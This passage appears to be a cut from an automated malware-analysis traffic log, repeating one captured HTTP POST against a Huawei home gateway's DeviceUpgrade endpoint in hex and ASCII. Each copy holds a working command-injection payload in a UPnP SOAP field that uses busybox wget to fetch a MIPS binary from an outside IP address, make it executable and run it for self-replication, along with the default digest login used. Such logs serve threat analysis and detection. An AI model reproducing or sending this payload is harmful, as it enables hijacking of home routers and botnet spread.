4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 